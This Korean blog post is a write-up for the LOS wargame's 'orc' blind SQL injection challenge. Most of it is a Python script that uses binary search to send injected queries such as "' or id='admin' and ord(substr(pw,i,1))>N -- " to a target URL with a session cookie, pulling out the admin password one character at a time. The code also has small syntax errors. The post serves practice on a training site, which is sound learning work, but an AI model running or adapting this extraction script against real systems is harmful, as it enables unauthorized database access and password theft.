본문 바로가기
Wargame/LOS(Load of SQL Injection) Writeup

AUTO blind SQL Tools (이진탐색버전) (feat. LOS no.4 orc)

by Ate1es 2022. 2. 17.

오랜만에 Blind Sql Injection 문제를 풀다가 문득 툴이 만들고 싶어졌다. 

 

만들다 보니 전체탐색이 비효율적으로 보였다.

 

 

.

.

.

 

그리하여 탄생한 BLIND SQL TOOL 이진탐색 Veeeeeersion!!!!

 

코드주인의 능지 이슈로 인해 코드 수정을 안하면 los 4번문제에서 밖에 돌아가지 않는다.

 

앞으로 범용성있게 바꿀 예정, (오랜만에 블로깅하나 할려고 억지로 들고왔다는건 안비밀)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import time
 
header = {"cookie":""}
 
def get_list():
    num_list = []
    for i in range(23,123):
        num_list.append(i)
    return num_list
 
def input_data():
    print("[*] BlIND SQL TOOL [*]")
    print("----------------------")
    url = str(input("[*] INPUT URL : "))
    param = str(input("[*] INPUT PARAMETER : "))
    cookie = str(input("[*] INPUT COOKIE(ex. SESSION=sess1234) : "))
    speed = int(input("[*] INPUT SPEED LEVEL (1[min], 2, 3[max]) : "))
    header["cookie"= cookie
    return find_length(url, speed, param)
 
def find_length(URL, speed, param):
    num_list = get_list()
    left = 0
    right = len(num_list)-1
    while left <= right:
        time.sleep(5-speed)
        mid = int((left + right) / 2)
        query = "?{}= ' or length(pw)={} -- '".format(param, mid)
        res = requests.get(URL+query, headers=header)
        if "Hello admin" in res.text:
            print("[*] Password Length : "+str(mid))
            break
        else:
            query = "?{}= ' or length(pw)>{} -- '".format(param, mid)
            res2 = requests.get(URL+query,headers=header)
            if "Hello admin" in res2.text:
                left = mid + 1
            else:
                right = mid - 1
    return find_val(URL, speed, mid, param)
 
def find_val(URL, speed, length, param):
    passwd = ""
    num_list = get_list()
    left = 0
    right = len(num_list)-1
    for i in range(1,length+1):
        left = 0
        right = len(num_list)-1
        while left <= right:
            time.sleep(5-speed)
            mid = int((left + right) / 2)
            query = "?{}=' or id='admin' and ord(substr(pw, {}, 1)) = '{}' -- '".format(param, i, num_list[mid])
            res3 = requests.get(URL+query, headers=header)
            if "Hello admin" in res3.text:
                passwd = passwd + chr(int(num_list[mid]))
                print("[*] Password : "+passwd)
                break
            else:
                query = "?{}=' or id='admin' and ord(substr(pw, {}, 1))>'{}' -- '".format(param, i, num_list[mid])
                res4 = requests.get(URL+query,headers=header)
                if "Hello admin" in res4.text:
                    left = mid + 1
                else:
                    right = mid - 1
 
if __name__=="__main__":
    input_data()
cs